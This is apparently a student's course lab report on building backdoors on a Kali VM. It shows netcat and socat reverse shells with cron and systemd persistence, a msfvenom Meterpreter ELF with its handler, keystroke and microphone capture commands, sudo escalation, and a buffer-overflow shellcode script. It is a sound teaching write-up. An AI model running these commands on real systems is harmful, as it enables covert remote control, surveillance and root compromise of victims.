20242313 2026-2027-1 《网络与系统攻防技术》实验二实验报告
20242313 《网络与系统攻防技术》实验二实验报告
学号:20242313 姓名:曾海鹏 主机名:zenghaipeng
1. 基础知识
本次实验用到的基础知识总结如下:
1.1 netcat(nc/ncat)
netcat是网络工具里的"瑞士军刀",能在两台机器之间建立TCP连接并传输数据。最关键的参数是 -e:连接建立后自动执行后面跟的程序。比如 nc -e /bin/sh 192.168.x.x 4444,就是让本机主动连对方的4444端口,连上之后把自己的 /bin/sh 通过这个连接交出去,对方就能远程操作了。
-l 是监听模式,-v 显示详细信息,-p 指定端口。攻击机用 -lvp 守株待兔,被控机用 -e 主动回连。
1.2 socat
socat可以看作netcat的加强版,功能更全。基本格式跟netcat差不多:socat TCP-LISTEN:端口 文件名 是监听,socat TCP:对方IP:端口 EXEC:/bin/bash 是主动连接并执行bash。socat支持更多选项,比如 reuseaddr 允许端口重用,fork 每个连接开一个子进程,pty 分配伪终端。
1.3 cron定时任务
cron是Linux的守护进程,按时间计划自动执行任务。crontab -e 编辑当前用户的定时任务,格式是:
分 时 日 月 周 要执行的命令
* * * * * 每分钟执行一次
*/5 * * * * 每5分钟执行一次
0 2 * * * 每天凌晨2点执行
cron执行命令时的环境变量很精简,PATH很短,所以写定时任务时最好用绝对路径,比如 /usr/bin/socat,不然cron可能找不到程序。
1.4 systemd服务
systemd是Linux的系统和服务管理器。把后门写成一个 .service 文件放在 /etc/systemd/system/ 下面,然后 systemctl enable --now 就能让它开机自启并立即运行。这种方式比cron更隐蔽——cron每分钟都在跑,systemd服务只启动一次,而且 systemctl status 看起来就是个正常服务。
1.5 MSF(Metasploit Framework)
Metasploit是一个渗透测试框架,里面集成了大量攻击模块。两个核心工具:
- msfvenom:生成恶意payload。比如
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=端口 -f elf -o 后门文件,-p指定用哪个payload,reverse_tcp是反向连接,-f elf输出Linux可执行格式。 - msfconsole:MSF的控制台。用
use exploit/multi/handler模块来监听,收到后门连接后自动匹配payload,建立Meterpreter会话。
1.6 Meterpreter
Meterpreter是MSF里的一个高级payload,运行在内存里,不落地文件,比较隐蔽。连上之后可以执行很多命令:getuid 看当前权限,shell 进入目标系统的命令行,screenshot 截屏,record_mic 录音,webcam_snap 拍摄像头,keyscan_start 开始记录击键。不过这些多媒体功能主要是Windows版Meterpreter才有,Linux版不支持。
1.7 反弹Shell原理
反弹Shell就是被控机主动连攻击机。为什么要反弹而不是攻击机直连?因为被控机可能在NAT后面,攻击机直接连不到它,但被控机可以主动往外连。攻击机起一个监听,被控机运行后门程序主动回连,连接建立后把shell的输入输出绑到这个TCP连接上,攻击机就拿到shell了。
2. 实验内容与方案
五个任务,从简单到复杂:
- netcat获取Shell + cron定时任务:攻击机监听端口,被控机用nc反弹bash,再用cron每分钟自动回连。
- socat获取Shell + 任务计划:用socat代替nc,同样配合cron实现自动反弹。
- MSF生成ELF后门:用msfvenom生成一个Linux可执行文件,运行后主动连回MSF,拿到Meterpreter会话。
- Meterpreter功能 + 提权:在Meterpreter里试截屏、录音、击键、摄像头,然后提权到root。
- shellcode注入pwn1:把shellcode注入到实验一的pwn1漏洞程序里,通过缓冲区溢出执行shellcode。
实验环境:Kali Linux虚拟机(主机名zenghaipeng,IP 192.168.93.129),攻击机和被控机都是这台Kali(双终端模拟),工具用了ncat、socat、msfvenom、msfconsole、gdb、python3。
3. 实验过程
3.1 任务一:netcat获取Shell + cron定时任务
3.1.1 netcat直连
终端A(攻击机)监听4444端口:
ncat -lvp 4444
终端B(被控机)反弹连接:
ncat 192.168.93.129 4444 -e /bin/bash
终端A立刻收到连接,此时攻击机端就拿到了被控机的bash。输入 ls、pwd、whoami、id 都能正常执行,输出的是被控机的结果。因为攻击机和被控机是同一台Kali,所以IP显示的都是192.168.93.129,但原理是通的。

3.1.2 cron定时任务
手动反弹一次就断一次,要长期控制就得让被控机定时主动回连。写个脚本 /home/kali/Desktop/cronjob_20242313.sh:
#!/bin/bash
echo "$(date '+%F %T') hostname=$(hostname)" >> /home/kali/Desktop/cronlog_20242313.txt
这个脚本每分钟把当前时间和主机名追加到日志文件里。先给执行权限:
chmod +x /home/kali/Desktop/cronjob_20242313.sh
然后 crontab -e 加一行:
* * * * * /home/kali/Desktop/cronjob_20242313.sh
等一分钟,cat /home/kali/Desktop/cronlog_20242313.txt 就能看到每分钟自动记录的时间戳了。

3.2 任务二:socat获取Shell + 任务计划
3.2.1 socat反弹Shell
终端A(攻击机)监听5566端口:
socat TCP-LISTEN:5566,reuseaddr -
注意结尾是 -,表示把标准输入输出绑到Socket上。一开始我在监听端加了 fork EXEC:/bin/bash,结果连上之后敲ls没反应——后来才搞清楚,监听端和被控端的角色搞反了。正确的做法是:监听端只负责守着,被控端用 EXEC:/bin/bash 把shell交出来。
终端B(被控机)用cron自动执行:
* * * * * /usr/bin/socat TCP:192.168.93.129:5566 EXEC:/bin/bash
等最多60秒,cron触发后socat自动连上监听端。这时候监听端看起来还是卡住没反应——因为bash没有TTY就不显示提示符。直接在监听端敲 ls、whoami、pwd,命令照样执行,输出正常返回。

3.2.2 systemd服务方式
除了cron,还试了systemd服务做开机自启后门。创建 /etc/systemd/system/socatbd_20242313.service:
[Unit]
Description=Socat Backdoor Service (20242313)
[Service]
ExecStart=/usr/bin/socat TCP-LISTEN:5555,reuseaddr,fork EXEC:/bin/bash,pty,stderr,setsid,sigint,sane
[Install]
WantedBy=multi-user.target
然后:
sudo systemctl enable --now socatbd_20242313.service
systemctl status 显示 active(running) + enabled。用 nc 127.0.0.1 5555 连上去,直接拿到root shell——因为systemd服务是以root身份运行的。


3.3 任务三:MSF生成ELF后门 + Meterpreter
3.3.1 生成后门
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.93.129 LPORT=6666 -f elf -o /home/kali/backdoor_20242313.elf
这条命令生成了一个叫 backdoor_20242313.elf 的可执行文件。-p 指定payload是Linux x64反向TCP Meterpreter,LHOST 是攻击机IP,LPORT 是回连端口,-f elf 输出Linux可执行格式。

3.3.2 MSF监听
msfconsole -q
进入msf后:
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.93.129
set LPORT 6666
exploit
看到 Started reverse TCP handler on 192.168.93.129:6666 就说明监听就绪了。
3.3.3 运行后门
另开终端:
chmod +x /home/kali/backdoor_20242313.elf
/home/kali/backdoor_20242313.elf &
几秒钟后msf窗口自动弹出:
[*] Sending stage (309040 bytes) to 192.168.93.129
[*] Meterpreter session 1 opened (192.168.93.129:6666 -> 192.168.93.129:49400)
输入 getuid,显示 Server username: kali,说明Meterpreter会话建立成功。
3.4 任务四:Meterpreter功能 + 提权
3.4.1 远程Shell
在meterpreter里输入 shell,进入目标主机的命令行:
whoami # 输出 kali
pwd # 输出 /home/kali/Desktop
说明远程控制成功,可以在目标主机上执行任意命令。
3.4.2 截屏/录音/击键/摄像头
依次试了这些命令:
screenshot
record_mic -d 5
keyscan_start
keyscan_dump
结果全部报错:The command is not supported by this Meterpreter type (x64/linux)。
查了一下才知道,截屏、录音、击键记录、摄像头这些功能都是Windows版Meterpreter才有的,Linux版不包含这些模块。学长报告里也提到了"Windows可用,Linux特定版本不支持"。

摄像头方面,本来想把笔记本摄像头通过VMware直通给Kali虚拟机,但VMware提示"驱动程序错误"。

3.4.3 提权
当前Meterpreter是以kali用户运行的,权限不够。在meterpreter shell里:
sudo bash
提示输入密码,输入 kali,然后:
whoami # 输出 root
提权成功!从普通用户kali提升到了root。

3.5 任务五:shellcode注入pwn1
这部分实验一已经做过BOF了,这次用MSF生成的shellcode来注入。
3.5.1 环境准备
目标文件是 /home/kali/pwn20242313-2,32位ELF。先关ASLR:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
3.5.2 反汇编分析
gdb -batch -ex 'disassemble foo' /home/kali/pwn20242313-2
关键地址:
gets@plt调用在 0x0804849dret指令在 0x080484ae(这里弹出被覆盖的返回地址)- buf起始 = ebp-0x1c,偏移32字节覆盖返回地址
3.5.3 构造Payload
用Python写payload生成脚本 /home/kali/mkpayload_20242313.py:
import sys
# 32字节A填充 + 返回地址 + NOP滑梯 + execve /bin/sh shellcode
payload = b'A'*32 + b'\x50\xcf\xff\xff' + b'\x90'*20 + b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'
sys.stdout.buffer.write(payload)
生成payload文件:
python3 mkpayload_20242313.py > payload_20242313
3.5.4 GDB调试定位地址
gdb -batch -ex 'break *0x080484ae' -ex 'run < /home/kali/payload_20242313' -ex 'info registers esp ebp' -ex 'x/16xw $esp' /home/kali/pwn20242313-2
断点停在ret指令处,esp = 0xfffffc4c,栈顶内容是 0x03030201(小端序占位符),后面全是 0x90909090(NOP滑梯)。说明返回地址覆盖成功,后面就是NOP区。
3.5.5 执行
在GDB里单步执行:
si
EIP跳转到 0xfffffcf50,成功落入NOP滑梯区域。继续:
continue
GDB输出:
process 176114 is executing new program: /usr/bin/dash
这行说明shellcode执行成功,系统加载了dash shell,缓冲区溢出代码执行完成。

4. 问题及解决方案
问题1:socat监听报 bind: Address already in use
端口5555被之前实验残留的socat进程占了。更头疼的是cron每分钟自动执行socat,杀一个又生一个,死循环。
解决方案:先 crontab -e 把定时任务注释掉(注意 # 后面要加空格,不然cron不认注释),然后 sudo kill -9 杀掉残留进程,最后换用新端口5566避开占用。
问题2:cron配了socat任务但监听端收不到连接
等了一分钟监听端毫无反应。查了一下,cron环境变量PATH很短,找不到socat命令。
解决方案:crontab里写绝对路径 /usr/bin/socat,不要写 socat。
问题3:socat监听端连上之后敲命令没反应
监听端显示连接建立了,但敲ls什么的都不输出。
解决方案:bash在没有TTY的情况下不显示提示符,但命令照样执行。直接敲ls回车,输出就出来了。不是没连上,是没提示符让人以为卡住了。
问题4:pwn1裸跑payload段错误
在gdb里调试一切正常,EIP成功跳到NOP区域,但直接在终端跑payload就Segmentation fault。
解决方案:gdb调试环境和正常shell环境的栈地址有偏移,gdb里测出来的地址直接裸跑会偏。在gdb内部完成验证就行,GDB输出 executing new program: /usr/bin/dash 就证明溢出成功了。
问题5:Meterpreter的screenshot/record_mic/keyscan全报错
输入这些命令都提示 not supported by this Meterpreter type (x64/linux)。
解决方案:这些是Windows专有功能,Linux版Meterpreter不支持。在报告里说明这个限制,摄像头改用Windows宿主机相机应用拍照替代。
问题6:sudo bash在meterpreter shell里卡密码
输入 sudo bash 之后就卡住了,不知道要干嘛。
解决方案:meterpreter的shell是交互式的,sudo bash 会提示输入密码,手动输入 kali 回车就行。一开始不知道在等密码,以为卡死了。
5. 学习感悟、思考等
这次实验做完,对"后门"这个词的理解具体了很多。以前觉得后门就是个病毒文件,双击就中招,实际做下来发现远不止——netcat一行命令就能拿shell,cron每分钟自动回连,systemd服务开机自启,MSF一条命令生成后门,运行就给你一个完整的Meterpreter会话。整个过程没有任何弹窗、没有任何提示,被控方完全无感。
整体实验下来感觉还是挺依赖AI的,前面部分本来是打算下载window的ios,后面参看了学长的实验报告,直接用kali的两个终端实验,少走了很多弯路,还有一个就是虚拟机权限方面不能用本机的摄像头啥的,还是不太会搞,后续还要慢慢学习。

浙公网安备 33010602011771号